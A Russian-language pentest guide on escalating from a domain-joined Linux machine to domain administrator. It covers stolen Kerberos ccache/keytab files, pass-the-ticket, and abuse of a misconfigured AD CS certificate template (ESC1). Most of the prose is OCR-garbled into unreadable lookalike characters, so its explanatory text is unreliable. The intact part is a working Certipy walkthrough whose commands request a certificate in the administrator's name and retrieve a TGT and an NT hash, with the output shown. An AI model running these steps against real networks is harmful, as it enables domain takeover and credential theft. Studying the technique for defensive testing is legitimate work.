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Hanpumep:

e Bbl B3/10Manu Linux MalnHbl, UMeOLLLYIO AOCTYMN B AOMEH (3TO 3Ha4YUT, 4TO Y Hee eCTb
MallMHHasA y4eTHas 3annucb B AOMEHE, U OHa XPaHUTCA rae-to B hansioBON cucteme).

e C BbICOKOW [l0J1ert BEPOSATHOCTM 3TOT pailsl C Ha3zBaHMeM *.ccache MOXeT nexxaTb B narnke
/tmp/ nnun cpann *.keytab B nanke /etc

e icnonb3ysa obHapy»XeHHbIN hann JOMEHHOW MalUMHHOW YYeTHOW 3arncum, Bbl MOXKETE
NCnonb30oBaTb ero gns atakm PassTheTicket n obpatnTtbca K KakoMy nnMbo n3 cepemncos
AD.

e Bbl MoXXeTe nonyunTb goctyn B ActiveDirectory 4yepe3 npoTokos LDAP 1 y3HaTb, Kakas
MallnHa oTBedvaeT 3a cepBuc AD CS (Active Directory Certificate Services) nnm xe,
nony4ms goctyn B Windows malunHe, B JOMEHe BbINOJIHNTbL KOMaHAy: certutil -config - -
ping, ong nony4eHus cnmcka Certificate Authority.

e [lanee, B c/ly4ae HEKOpPpPeKTHOW HacTporku AD CS, Bbl MOXKeTe, NCMOJIb3Ya YTUIUTY
Certipy, nonpoboBaTb BbINyCTUTb cebe cepTudukaT no wabnoHy, KOTOpbIN pa3pellaeT
yepes ayTeHTUPUKaALMIO KIMEHTa NnoJslydaTesio cepTudurkaTa ykasaTb NPOnU3BOJIbHOE
anbTepHaTMBHOE nMa cybbekTa (SAN).

e Takum 06pa3oM, Bbl CMOXKeTEe BbIMyCTUTb CEPTUPUKAT Ha UMSA aJMUHUCTPaToOpa ALOMEHA
1N BOCMOJIb30BaTbCS UM A1 NOJyYeHUs AOCTyna YPOBHA aAMUHUCTPATOpPa Ha
KOHTpoOlepe oMeHa.

Certipy

Certipy npefHa3HavyeHa A9 aBTOMaTU3aL MKW npouecca reHepauuu v yripasneHunsa ceptudukaTaMmu
N KJ0YaMuy WnNpoBaHNS B CeTEBbIX NPUIoXKeHUsaX Ha A3blke Python. OHa npepocTasnseT Habop
WHCTPYMEHTOB AJ19 CO34aHUA 1 ynpaBneHus ceptudukatamm X.509, koTopble MoryT 6biTb
NCNonb3oBaHbl ANnsa obecneyeHns 6e3onacHOM Nnepefayn AaHHbIX Yepes ceTun, HanpuMmep, 4Ns
wngposaHua Tpaguka HTTPS.

IxkcnnyaTtaumsa c Certipy

3anpoc cepTugmkaTa no wabsioHy co3aaHna cepTudmrkaTa ona 4pyroro rnosb3oBaTens:

$ certipy req -username john@corp.local -password PasswOrd -ca corp-DC-CA -target

ca.corp.local -template ESC1-Test -upn administrator@corp.local -dns dc.corp.local

Certipy v4.0.0 - by Oliver Lyak (ly4k)


https://github.com/ly4k/Certipy

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 780

[*] Got certificate with multiple identifications

UPN: 'administrator@corp.local'

DNS Host Name: 'dc.corp.local'

[*] Certificate has no object SID

[*] Saved certificate and private key to 'administrator dc.pfx'

3anpoc TGT n nony4deHme NT xelwa C MCNOJIb30BaHMEM MOJIYYEHHOIO paHee cepTudukaTa:

$ certipy auth -pfx administrator dc.pfx -dc-ip 172.16.126.128

Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certificate

[*] Please select one:

[0] UPN: 'administrator@corp.local'

[1] DNS Host Name: 'dc.corp.local'

> 1

[*] Using principal: dc$@corp.local

[*] Trying to get TGT...

[*] Got TGT

[*] Saved credential cache to 'dc.ccache'

[*] Trying to retrieve NT hash for 'dc$'

[*] Got NT hash for 'dc$@corp.local': 36a501712629962b3d5a3641529187b0

JlononHUTeNbHbIE pecypchl

e Pass The Hash

e Lateral Movement

e Password Spraying



https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/lateral-movement/alternate-authentication-material/wip-pass-the-hash
https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/lateral-movement
https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/credential-access/brute-force/password-spraying
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